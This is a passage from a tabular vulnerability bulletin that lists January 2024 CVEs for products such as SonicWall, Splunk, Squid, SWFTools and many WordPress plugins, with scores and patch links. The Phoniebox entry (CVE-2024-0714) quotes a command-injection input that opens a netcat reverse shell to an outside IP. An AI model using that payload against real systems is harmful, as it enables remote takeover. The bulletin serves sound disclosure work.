Directory ('Path Traversal')			Directory Traversal in all versions up to, and including, 1.2.3 via the node_id parameter in the backuply_get_jstree function. This makes it possible for attackers with administrator privileges or higher to read the contents of arbitrary files on the server, which can contain sensitive information. **CVE ID : CVE-2024-0697**	6806%40backuply&new=3026806%40backuply&sfp_email=&sfph_mail=, https://www.wordfence.com/threat-intel/vulnerabilities/id/70effa22-fbf6-44cb-9d1b-8625969c10ac?source=cve	
Vendor: Sonicwall					
Product: capture_client					
Affected Version(s): * Up to (including) 3.7.10					
Out-of-bounds Write	18-Jan-2024	5.5	SonicWall Capture Client version 3.7.10, NetExtender client version 10.2.337 and earlier versions are installed with sfpmonitor.sys driver. The driver has been found to be vulnerable to Denial-of-Service (DoS) caused by Stack-based Buffer Overflow vulnerability. **CVE ID : CVE-2023-6340**	https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2023-0019	A-SON-CAPT-140224/1076

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Product: netextender					
Affected Version(s): * Up to (including) 10.2.337					
Out-of-bounds Write	18-Jan-2024	5.5	SonicWall Capture Client version 3.7.10, NetExtender client version 10.2.337 and earlier versions are installed with sfpmonitor.sys driver. The driver has been found to be vulnerable to Denial-of-Service (DoS) caused by Stack-based Buffer Overflow vulnerability. **CVE ID : CVE-2023-6340**	https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2023-0019	A-SON-NETE-140224/1077
Vendor: Sourcefabric					
Product: phoniebox					
Affected Version(s): * Up to (including) 2.5.0					
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	19-Jan-2024	9.8	A vulnerability was found in MiczFlor RPi-Jukebox-RFID up to 2.5.0. It has been rated as critical. Affected by this issue is some unknown functionality of the file userScripts.php of the component HTTP Request Handler. The manipulation of the argument folder with the input ;nc 104.236.1.147 4444 -e /bin/bash; leads to os	N/A	A-SOU-PHON-140224/1078

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			command injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-251540. NOTE: The vendor was contacted early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-0714**		
Vendor: sparksuite					
Product: simplemde					
Affected Version(s): * Up to (including) 1.11.2					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	6.1	A vulnerability, which was classified as problematic, was found in Sparksuite SimpleMDE up to 1.11.2. This affects an unknown part of the component iFrame Handler. The manipulation leads to cross site scripting. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The identifier	N/A	A-SPA-SIMP-140224/1079

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			VDB-251373 was assigned to this vulnerability. **CVE ID : CVE-2024-0647**		
Vendor: Spip					
Product: spip					
Affected Version(s): * Up to (excluding) 4.1.14					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	19-Jan-2024	6.1	SPIP before 4.1.14 and 4.2.x before 4.2.8 allows XSS via the name of an uploaded file. This is related to javascript/bigup.js and javascript/bigup.utils.js. **CVE ID : CVE-2024-23659**	https://blog.spip.net/Mise-a-jour-de-maintenance-et-securite-sortie-de-SPIP-4-2-8-SPIP-4-1-14.html?lang=fr, https://git.spip.net/spip/bigup/commit/0757f015717cb72b84dba0e9a375ec71caddf1c2	A-SPI-SPIP-140224/1080
Affected Version(s): From (including) 4.2.0 Up to (excluding) 4.2.8					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	19-Jan-2024	6.1	SPIP before 4.1.14 and 4.2.x before 4.2.8 allows XSS via the name of an uploaded file. This is related to javascript/bigup.js and javascript/bigup.utils.js. **CVE ID : CVE-2024-23659**	https://blog.spip.net/Mise-a-jour-de-maintenance-et-securite-sortie-de-SPIP-4-2-8-SPIP-4-1-14.html?lang=fr, https://git.spip.net/spip/bigup/commit/0757f015717cb72b84dba0e9a375ec71caddf1c2	A-SPI-SPIP-140224/1081
Vendor: splashtop					
Product: software_updater					
Affected Version(s): * Up to (including) 1.5.6.21					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
N/A	25-Jan-2024	7.8	The C:\Program Files (x86)\Splashtop\Splashtop Software Updater\uninst.exe process creates a folder at C:\Windows\Temp~nsu.tmp and copies itself to it as Au_.exe. The C:\Windows\Temp~nsu.tmp\Au_.exe file is automatically launched as SYSTEM when the system reboots or when a standard user runs an MSI repair using Splashtop Streamer's Windows Installer. Since the C:\Windows\Temp~nsu.tmp folder inherits permissions from C:\Windows\Temp and Au_.exe is susceptible to DLL hijacking, standard users can write a malicious DLL to it and elevate their privileges. **CVE ID : CVE-2023-3181**	N/A	A-SPL-SOFT-140224/1082
Vendor: splicecom					
Product: ipcs					
Affected Version(s): * Up to (including) 1.8.5					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Improper Certificate Validation	25-Jan-2024	5.9	A lack of SSL certificate validation in Splicecom iPCS (iOS App) v1.3.4, iPCS2 (iOS App) v2.8 and before, and iPCS (Android App) v1.8.5 and before allows attackers to eavesdrop on communications via a man-in-the-middle attack. **CVE ID : CVE-2023-33757**	N/A	A-SPL-IPCS-140224/1083
Affected Version(s): 1.3.4					
Improper Certificate Validation	25-Jan-2024	5.9	A lack of SSL certificate validation in Splicecom iPCS (iOS App) v1.3.4, iPCS2 (iOS App) v2.8 and before, and iPCS (Android App) v1.8.5 and before allows attackers to eavesdrop on communications via a man-in-the-middle attack. **CVE ID : CVE-2023-33757**	N/A	A-SPL-IPCS-140224/1084
Product: ipcs2					
Affected Version(s): * Up to (including) 2.8					
Improper Certificate Validation	25-Jan-2024	5.9	A lack of SSL certificate validation in Splicecom iPCS (iOS App) v1.3.4,	N/A	A-SPL-IPCS-140224/1085

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			iPCS2 (iOS App) v2.8 and before, and iPCS (Android App) v1.8.5 and before allows attackers to eavesdrop on communications via a man-in-the-middle attack. **CVE ID : CVE-2023-33757**		
Product: maximiser_soft_pbx					
Affected Version(s): * Up to (including) 1.5					
Improper Restriction of Excessive Authentication Attempts	25-Jan-2024	9.8	SpliceCom Maximiser Soft PBX v1.5 and before does not restrict excessive authentication attempts, allowing attackers to bypass authentication via a brute force attack. **CVE ID : CVE-2023-33759**	N/A	A-SPL-MAXI-140224/1086
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	Splicecom Maximiser Soft PBX v1.5 and before was discovered to contain a cross-site scripting (XSS) vulnerability via the CLIENT_NAME and DEVICE_GUID fields in the login component. **CVE ID : CVE-2023-33758**	N/A	A-SPL-MAXI-140224/1087

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Improper Certificate Validation	25-Jan-2024	5.3	SpliceCom Maximiser Soft PBX v1.5 and before was discovered to utilize a default SSL certificate. This issue can allow attackers to eavesdrop on communications via a man-in-the-middle attack. **CVE ID : CVE-2023-33760**	N/A	A-SPL-MAXI-140224/1088
Vendor: Splunk					
Product: cloud					
Affected Version(s): * Up to (excluding) 9.0.2208					
Insertion of Sensitive Information into Log File	22-Jan-2024	5.3	In Splunk Enterprise versions below 9.0.8, the Splunk RapidDiag utility discloses server responses from external applications in a log file. **CVE ID : CVE-2024-23677**	https://advisory.splunk.com/advisories/SVD-2024-0107	A-SPL-CLOU-140224/1089
Affected Version(s): * Up to (excluding) 9.1.2308.200					
N/A	22-Jan-2024	3.5	In Splunk versions below 9.0.8 and 9.1.3, the "mrollup" SPL command lets a low-privileged user view metrics on an index that they do not have permission to view. This vulnerability requires user interaction from a	https://advisory.splunk.com/advisories/SVD-2024-0106, https://research.splunk.com/application/ee69374a-d27e-4136-adac-956a96ff60fd/	A-SPL-CLOU-140224/1090

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			high-privileged user to exploit. **CVE ID : CVE-2024-23676**		
Affected Version(s): * Up to (excluding) 9.1.2312.100					
Incorrect Authorization	22-Jan-2024	6.5	In Splunk Enterprise versions below 9.0.8 and 9.1.3, Splunk app key value store (KV Store) improperly handles permissions for users that use the REST application programming interface (API). This can potentially result in the deletion of KV Store collections. **CVE ID : CVE-2024-23675**	https://advisory.splunk.com/advisories/SVD-2024-0105, https://research.splunk.com/application/8f0e8380-a835-4f2b-b749-9ce119364df0/	A-SPL-CLOU-140224/1091
Product: splunk					
Affected Version(s): From (including) 9.0.0 Up to (excluding) 9.0.8					
N/A	22-Jan-2024	8.8	In Splunk Enterprise for Windows versions below 9.0.8 and 9.1.3, Splunk Enterprise does not correctly sanitize path input data. This results in the unsafe deserialization of untrusted data from a separate disk partition on the machine. This vulnerability only	https://advisory.splunk.com/advisories/SVD-2024-0108, https://research.splunk.com/application/947d4d2e-1b64-41fc-b32a-736ddb88ce97/	A-SPL-SPLU-140224/1092

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			affects Splunk Enterprise for Windows. **CVE ID : CVE-2024-23678**		
Incorrect Authorization	22-Jan-2024	6.5	In Splunk Enterprise versions below 9.0.8 and 9.1.3, Splunk app key value store (KV Store) improperly handles permissions for users that use the REST application programming interface (API). This can potentially result in the deletion of KV Store collections. **CVE ID : CVE-2024-23675**	https://advisory.splunk.com/advisories/SVD-2024-0105, https://research.splunk.com/application/8f0e8380-a835-4f2b-b749-9ce119364df0/	A-SPL-SPLU-140224/1093
Insertion of Sensitive Information into Log File	22-Jan-2024	5.3	In Splunk Enterprise versions below 9.0.8, the Splunk RapidDiag utility discloses server responses from external applications in a log file. **CVE ID : CVE-2024-23677**	https://advisory.splunk.com/advisories/SVD-2024-0107	A-SPL-SPLU-140224/1094
N/A	22-Jan-2024	3.5	In Splunk versions below 9.0.8 and 9.1.3, the "mrollup" SPL command lets a low-privileged user view metrics on an index that	https://advisory.splunk.com/advisories/SVD-2024-0106, https://research.splunk.com/application/ee69	A-SPL-SPLU-140224/1095

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			they do not have permission to view. This vulnerability requires user interaction from a high-privileged user to exploit. **CVE ID : CVE-2024-23676**	374a-d27e-4136-adac-956a96ff60fd/	
Affected Version(s): From (including) 9.1.0 Up to (excluding) 9.1.3					
N/A	22-Jan-2024	8.8	In Splunk Enterprise for Windows versions below 9.0.8 and 9.1.3, Splunk Enterprise does not correctly sanitize path input data. This results in the unsafe deserialization of untrusted data from a separate disk partition on the machine. This vulnerability only affects Splunk Enterprise for Windows. **CVE ID : CVE-2024-23678**	https://advisory.splunk.com/advisories/SVD-2024-0108, https://research.splunk.com/application/947d4d2e-1b64-41fc-b32a-736ddb88ce97/	A-SPL-SPLU-140224/1096
Incorrect Authorization	22-Jan-2024	6.5	In Splunk Enterprise versions below 9.0.8 and 9.1.3, Splunk app key value store (KV Store) improperly handles permissions for users that use the REST application programming	https://advisory.splunk.com/advisories/SVD-2024-0105, https://research.splunk.com/application/8f0e8380-a835-4f2b-b749-9ce119364df0/	A-SPL-SPLU-140224/1097

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			interface (API). This can potentially result in the deletion of KV Store collections. **CVE ID : CVE-2024-23675**		
N/A	22-Jan-2024	3.5	In Splunk versions below 9.0.8 and 9.1.3, the "mrollup" SPL command lets a low-privileged user view metrics on an index that they do not have permission to view. This vulnerability requires user interaction from a high-privileged user to exploit. **CVE ID : CVE-2024-23676**	https://advisory.splunk.com/advisories/SVD-2024-0106, https://research.splunk.com/application/ee69374a-d27e-4136-adac-956a96ff60fd/	A-SPL-SPLU-140224/1098
Vendor: spooncast					
Product: spoon					
Affected Version(s): From (including) 7.11.1 Up to (including) 8.6.0					
Use of Hard-coded Credentials	24-Jan-2024	5.5	Android Spoon application version 7.11.1 to 8.6.0 uses hard-coded credentials, which may allow a local attacker to retrieve the hard-coded API key when the application binary is reverse-engineered. This API key may be used for unexpected access	https://spoon-support.spooncast.net/jp/update	A-SPO-SPOO-140224/1099

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			of the associated service. **CVE ID : CVE-2024-23453**		
Vendor: spycamlizard					
Product: spycamlizard					
Affected Version(s): 1.230					
Improper Resource Shutdown or Release	25-Jan-2024	7.5	A vulnerability classified as problematic has been found in SpyCamLizard 1.230. Affected is an unknown function of the component HTTP GET Request Handler. The manipulation leads to denial of service. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-252036. **CVE ID : CVE-2024-0885**	N/A	A-SPY-SPYC-140224/1100
Vendor: Sqlite					
Product: sqlite					
Affected Version(s): * Up to (excluding) 3.43.2					
Use After Free	16-Jan-2024	5.5	A heap use-after-free issue has been identified in SQLite in the jsonParseAddNodeArray() function in sqlite3.c. This flaw	N/A	A-SQL-SQLI-140224/1101

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			allows a local attacker to leverage a victim to pass specially crafted malicious input to the application, potentially causing a crash and leading to a denial of service. **CVE ID : CVE-2024-0232**		
Vendor: Squid-cache					
Product: squid					
Affected Version(s): From (including) 5.0 Up to (including) 5.9					
Operation on a Resource after Expiration or Release	24-Jan-2024	6.5	Squid is a caching proxy for the Web. Due to an expired pointer reference bug, Squid prior to version 6.6 is vulnerable to a Denial of Service attack against Cache Manager error responses. This problem allows a trusted client to perform Denial of Service when generating error pages for Client Manager reports. Squid older than 5.0.5 have not been tested and should be assumed to be vulnerable. All Squid-5.x up to and including 5.9 are	http://www.squid-cache.org/Versions/v5/SQUID-2023_11.patch, http://www.squid-cache.org/Versions/v6/SQUID-2023_11.patch, https://github.com/squid-cache/squid/commit/290ae202883ac28a48867079c2fb34c40efd382b	A-SQU-SQUI-140224/1102

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			vulnerable. All Squid-6.x up to and including 6.5 are vulnerable. This bug is fixed by Squid version 6.6. In addition, patches addressing this problem for the stable releases can be found in Squid's patch archives. As a workaround, prevent access to Cache Manager using Squid's main access control: `http_access deny manager`. **CVE ID : CVE-2024-23638**		
Affected Version(s): From (including) 6.0 Up to (excluding) 6.6					
Operation on a Resource after Expiration or Release	24-Jan-2024	6.5	Squid is a caching proxy for the Web. Due to an expired pointer reference bug, Squid prior to version 6.6 is vulnerable to a Denial of Service attack against Cache Manager error responses. This problem allows a trusted client to perform Denial of Service when generating error pages for Client Manager reports. Squid older than 5.0.5	http://www.squid-cache.org/Versions/v5/SQUID-2023_11.patch, http://www.squid-cache.org/Versions/v6/SQUID-2023_11.patch, https://github.com/squid-cache/squid/commit/290ae202883ac28a48867079c2fb34c40efd382b	A-SQU-SQUI-140224/1103

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			have not been tested and should be assumed to be vulnerable. All Squid-5.x up to and including 5.9 are vulnerable. All Squid-6.x up to and including 6.5 are vulnerable. This bug is fixed by Squid version 6.6. In addition, patches addressing this problem for the stable releases can be found in Squid's patch archives. As a workaround, prevent access to Cache Manager using Squid's main access control: `http_access deny manager`. **CVE ID : CVE-2024-23638**		
Vendor: squidesma					
Product: theme_minifier					
Affected Version(s): * Up to (including) 2.0					
Server-Side Request Forgery (SSRF)	19-Jan-2024	9.8	Server-Side Request Forgery (SSRF) vulnerability in Montonio Montonio for WooCommerce, Wpopal Wpopal Core Features, AMO for WP – Membership	N/A	A-SQU-THEM-140224/1104

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Management ArcStone wp-amo, Long Watch Studio WooVirtualWallet – A virtual wallet for WooCommerce, Long Watch Studio WooVIP – Membership plugin for WordPress and WooCommerce, Long Watch Studio WooSupply – Suppliers, Supply Orders and Stock Management, Squidesma Theme Minifier, Paul Clark Styles styles, Designmodo Inc. WordPress Page Builder – Qards, Philip M. Hofer (Frumph) PHPFreeChat, Arun Basil Lal Custom Login Admin Front-end CSS, Team Agence-Press CSS Adder By Agence-Press, Unihost Confirm Data, deano1987 AMP Toolbox amp-toolbox, Arun Basil Lal Admin CSS MU.This issue affects Montonio for WooCommerce: from n/a through 6.0.1; Wpopal Core Features: from n/a through 1.5.8; ArcStone: from n/a		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			through 4.6.6; WooVirtualWallet – A virtual wallet for WooCommerce: from n/a through 2.2.1; WooVIP – Membership plugin for WordPress and WooCommerce: from n/a through 1.4.4; WooSupply – Suppliers, Supply Orders and Stock Management: from n/a through 1.2.2; Theme Minifier: from n/a through 2.0; Styles: from n/a through 1.2.3; WordPress Page Builder – Qards: from n/a through 1.0.5; PHPFreeChat: from n/a through 0.2.8; Custom Login Admin Front-end CSS: from n/a through 1.4.1; CSS Adder By Agence-Press: from n/a through 1.5.0; Confirm Data: from n/a through 1.0.7; AMP Toolbox: from n/a through 2.1.1; Admin CSS MU: from n/a through 2.6. **CVE ID : CVE-2022-40700**		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Vendor: standford					
Product: gibsonenv					
Affected Version(s): 0.3.1					
Deserialization of Untrusted Data	27-Jan-2024	9.8	A vulnerability was found in StanfordVL GibsonEnv 0.3.1. It has been classified as critical. Affected is the function cloudpickle.load of the file gibson\utils\pposgd_fuse.py. The manipulation leads to deserialization. It is possible to launch the attack remotely. The complexity of an attack is rather high. The exploitability is told to be difficult. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-252204. **CVE ID : CVE-2024-0959**	N/A	A-STA-GIBS-140224/1105
Vendor: strangebee					
Product: thehive					
Affected Version(s): From (including) 5.1.0 Up to (including) 5.1.9					
Improper Neutralization of Input During	19-Jan-2024	5.4	StrangeBee TheHive 5.1.0 to 5.1.9 and 5.2.0 to 5.2.8 is vulnerable to Cross Site	N/A	A-STR-THEH-140224/1106

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Web Page Generation ('Cross-site Scripting')			Scripting (XSS) in the case attachment functionality which enables an attacker to upload a malicious HTML file with Javascript code that will be executed in the context of the The Hive application using a specific URL. The vulnerability can be used to coerce a victim account to perform specific actions on the application as helping an analyst becoming administrator. **CVE ID : CVE-2024-22876**		
Affected Version(s): From (including) 5.2.0 Up to (including) 5.2.8					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	19-Jan-2024	5.4	StrangeBee TheHive 5.1.0 to 5.1.9 and 5.2.0 to 5.2.8 is vulnerable to Cross Site Scripting (XSS) in the case attachment functionality which enables an attacker to upload a malicious HTML file with Javascript code that will be executed in the context of the The Hive application	N/A	A-STR-THEH-140224/1107

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			using a specific URL. The vulnerability can be used to coerce a victim account to perform specific actions on the application as helping an analyst becoming administrator. **CVE ID : CVE-2024-22876**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	19-Jan-2024	5.4	StrangeBee TheHive 5.2.0 to 5.2.8 is vulnerable to Cross Site Scripting (XSS) in the case reporting functionality. This feature allows an attacker to insert malicious JavaScript code inside the template or its variables, that will be executed in the context of the TheHive application when the HTML report is opened. **CVE ID : CVE-2024-22877**	N/A	A-STR-THEH-140224/1108
Vendor: strangerstudios					
Product: paid_memberships_pro					
Affected Version(s): * Up to (including) 2.12.7					
Cross-Site Request	25-Jan-2024	5.3	The Paid Memberships Pro – Content Restriction, User	https://plugins.trac.wordpress.org/changeset/3025164/paid-	A-STR-PAID-140224/1109

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Forgery (CSRF)			Registration, & Paid Subscriptions plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.12.7. This is due to missing or incorrect nonce validation on the pmpro_update_level_order() function. This makes it possible for unauthenticated attackers to update the order of levels via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. **CVE ID : CVE-2024-0624**	memberships-pro/tags/2.12.8/includes/services.php	
Vendor: strategy11					
Product: formidable_forms					
Affected Version(s): * Up to (excluding) 6.2					
Deserialization of Untrusted Data	16-Jan-2024	7.5	The Formidable Forms WordPress plugin before 6.2 unserializes user input, which could allow anonymous users to perform PHP Object Injection when a	N/A	A-STR-FORM-140224/1110

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			suitable gadget is present. **CVE ID : CVE-2023-1405**		
Vendor: studionetworksolutions					
Product: sharebrowser					
Affected Version(s): * Up to (excluding) 7.0					
Improper Verification of Cryptographic Signature	17-Jan-2024	9.8	Studio Network Solutions ShareBrowser before 7.0 on macOS mishandles signature verification, aka PMP-2636. **CVE ID : CVE-2023-44077**	N/A	A-STU-SHAR-140224/1111
Vendor: subina					
Product: wp_best_quiz					
Affected Version(s): * Up to (including) 1.0					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	16-Jan-2024	5.4	The WP Best Quiz WordPress plugin through 1.0 does not sanitize and escape some parameters, which could allow users with a role as low as Author to perform Cross-Site Scripting attacks. **CVE ID : CVE-2022-3739**	N/A	A-SUB-WP_B-140224/1112
Vendor: sunlight-cms					
Product: sunlight_cms					
Affected Version(s): 8.0.1					
Improper Neutralization of	27-Jan-2024	5.4	Cross Site Scripting (XSS) vulnerability in Sunlight CMS	N/A	A-SUN-SUNL-140224/1113

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Input During Web Page Generation ('Cross-site Scripting')			v.8.0.1, allows remote authenticated attackers to execute arbitrary code and escalate privileges via a crafted script to the Content text editor component. **CVE ID : CVE-2023-48201**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	27-Jan-2024	5.4	Cross-Site Scripting (XSS) vulnerability in Sunlight CMS 8.0.1 allows an authenticated low-privileged user to escalate privileges via a crafted SVG file in the File Manager component. **CVE ID : CVE-2023-48202**	N/A	A-SUN-SUNL-140224/1114
Vendor: sunnytoo					
Product: stblogsearch					
Affected Version(s): * Up to (including) 1.0.0					
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	19-Jan-2024	9.8	SunnyToo stblogsearch up to v1.0.0 was discovered to contain a SQL injection vulnerability via the StBlogSearchClass::prepareSearch component. **CVE ID : CVE-2023-43985**	https://security.friendsofpresta.org/modules/2024/01/18/stblogsearch.html	A-SUN-STBL-140224/1115

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Vendor: super-forms					
Product: super_forms					
Affected Version(s): * Up to (excluding) 6.0.4					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	16-Jan-2024	6.1	The Super Forms - Drag & Drop Form Builder WordPress plugin before 6.0.4 does not escape the bob_czy_panstwa_sprawa_zostala_rozwiazana parameter before outputting it back in an attribute via the super_language_switcher AJAX action, leading to a Reflected Cross-Site Scripting. The action is also lacking CSRF, making the attack easier to perform against any user. **CVE ID : CVE-2022-0402**	https://github.com/RensTillmann/super-forms/commit/c19d65abbe43d9b6359c1bf3498dc697d0c19d02	A-SUP-SUPE-140224/1116
Vendor: supsystic					
Product: ultimate_maps					
Affected Version(s): * Up to (excluding) 1.2.16					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	16-Jan-2024	4.8	The Ultimate Maps by Supsystic WordPress plugin before 1.2.16 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Cross-Site Scripting attacks	N/A	A-SUP-ULTI-140224/1117

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			even when unfiltered_html is disallowed **CVE ID : CVE-2023-6732**		
Vendor: swapnilsahu					
Product: stock_management_system					
Affected Version(s): 1.0					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	27-Jan-2024	5.4	A vulnerability was found in CodeAstro Stock Management System 1.0 and classified as problematic. This issue affects some unknown processing of the file /index.php of the component Add Category Handler. The manipulation of the argument Category Name/Category Description leads to cross site scripting. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-252203. **CVE ID : CVE-2024-0958**	N/A	A-SWA-STOC-140224/1118
Vendor: Swftools					
Product: swftools					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Affected Version(s): 0.9.2					
Out-of-bounds Write	19-Jan-2024	7.8	swftools 0.9.2 was discovered to contain a Stack Buffer Underflow via the function dict_foreach_keyvalue at swftools/lib/q.c. **CVE ID : CVE-2024-22562**	N/A	A-SWF-SWFT-140224/1119
Use After Free	19-Jan-2024	7.8	swftools 0.9.2 was discovered to contain a heap-use-after-free via the function bufferWriteData in swftools/lib/action/compile.c. **CVE ID : CVE-2024-22920**	N/A	A-SWF-SWFT-140224/1120
Out-of-bounds Write	19-Jan-2024	7.8	A stack-buffer-underflow vulnerability was found in SWFTools v0.9.2, in the function parseExpression at src/swfc.c:2602. **CVE ID : CVE-2024-22911**	N/A	A-SWF-SWFT-140224/1121
Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	19-Jan-2024	7.8	A global-buffer-overflow was found in SWFTools v0.9.2, in the function countline at swf5compiler.flex:327. It allows an attacker to cause code execution.	N/A	A-SWF-SWFT-140224/1122

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-22912		
Out-of-bounds Write	19-Jan-2024	7.8	A heap-buffer-overflow was found in SWFTools v0.9.2, in the function swf5lex at lex.swf5.c:1321. It allows an attacker to cause code execution. **CVE ID : CVE-2024-22913**	N/A	A-SWF-SWFT-140224/1123
Use After Free	19-Jan-2024	7.8	A heap-use-after-free was found in SWFTools v0.9.2, in the function swf_DeleteTag at rfxswf.c:1193. It allows an attacker to cause code execution. **CVE ID : CVE-2024-22915**	N/A	A-SWF-SWFT-140224/1124
Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	19-Jan-2024	7.8	swftools0.9.2 was discovered to contain a global-buffer-overflow vulnerability via the function parseExpression at swftools/src/swfc.c:2587. **CVE ID : CVE-2024-22919**	N/A	A-SWF-SWFT-140224/1125
Out-of-bounds Write	19-Jan-2024	7.8	swftools 0.9.2 was discovered to contain a stack-buffer-underflow vulnerability via the function parseExpression at	N/A	A-SWF-SWFT-140224/1126

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			swftools/src/swfc.c:2576. **CVE ID : CVE-2024-22955**		
Use After Free	19-Jan-2024	7.8	swftools 0.9.2 was discovered to contain a heap-use-after-free vulnerability via the function removeFromTo at swftools/src/swfc.c:838 **CVE ID : CVE-2024-22956**	N/A	A-SWF-SWFT-140224/1127
Use After Free	19-Jan-2024	5.5	A heap-use-after-free was found in SWFTools v0.9.2, in the function input at lex.swf5.c:2620. It allows an attacker to cause denial of service. **CVE ID : CVE-2024-22914**	N/A	A-SWF-SWFT-140224/1128
Out-of-bounds Read	19-Jan-2024	5.5	swftools 0.9.2 was discovered to contain an Out-of-bounds Read vulnerability via the function dict_do_lookup in swftools/lib/q.c:1190. **CVE ID : CVE-2024-22957**	N/A	A-SWF-SWFT-140224/1129
Vendor: synaptics					
Product: fingerprint_driver					
Affected Version(s): From (including) 6.0.00.1103 Up to (excluding) 6.0.17.1103					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Use of Hard-coded Credentials	27-Jan-2024	5.2	Use of encryption key derived from static information in Synaptics Fingerprint Driver allows an attacker to set up a TLS session with the fingerprint sensor and send restricted commands to the fingerprint sensor. This may allow an attacker, who has physical access to the sensor, to enroll a fingerprint into the template database. **CVE ID : CVE-2023-6482**	https://www.synaptics.com/sites/default/files/2024-01/fingerprint-driver-encryption-key-security-brief-2024-01-26.pdf	A-SYN-FING-140224/1130
Vendor: Synology					
Product: diskstation_manager					
Affected Version(s): * Up to (excluding) 7.2.1-69057-2					
URL Redirection to Untrusted Site ('Open Redirect')	24-Jan-2024	5.4	URL redirection to untrusted site ('Open Redirect') vulnerability in file access component in Synology DiskStation Manager (DSM) before 7.2.1-69057-2 allows remote authenticated users to conduct phishing attacks	https://www.synology.com/en-global/security/advisory/Synology_SA_24_02	A-SYN-DISK-140224/1131

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			via unspecified vectors. **CVE ID : CVE-2024-0854**		
Vendor: t1_project					
Product: t1					
Affected Version(s): * Up to (including) 19.0					
URL Redirection to Untrusted Site ('Open Redirect')	16-Jan-2024	6.1	The T1 WordPress theme through 19.0 is vulnerable to unauthenticated open redirect with which any attacker and redirect users to arbitrary websites. **CVE ID : CVE-2023-3771**	N/A	A-T1_-T1-140224/1132
Vendor: taurisoft					
Product: any_sound_recorder					
Affected Version(s): 2.93					
Improper Restriction of Operations within the Bounds of a Memory Buffer	22-Jan-2024	5.5	A vulnerability was found in Any-Capture Any Sound Recorder 2.93. It has been declared as problematic. This vulnerability affects unknown code of the component Registration Handler. The manipulation of the argument User Name/Key Code leads to memory corruption. It is possible to launch the attack on the local host. The	N/A	A-TAU-ANY_-140224/1133

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			exploit has been disclosed to the public and may be used. VDB-251674 is the identifier assigned to this vulnerability. **CVE ID : CVE-2024-0774**		
Vendor: theme-junkie					
Product: tj_shortcodes					
Affected Version(s): * Up to (including) 0.1.3					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	29-Jan-2024	5.4	The TJ Shortcodes WordPress plugin through 0.1.3 does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks. **CVE ID : CVE-2023-6530**	N/A	A-THE-TJ_S-140224/1134
Vendor: themegrill					
Product: colormag					
Affected Version(s): * Up to (including) 3.1.2					
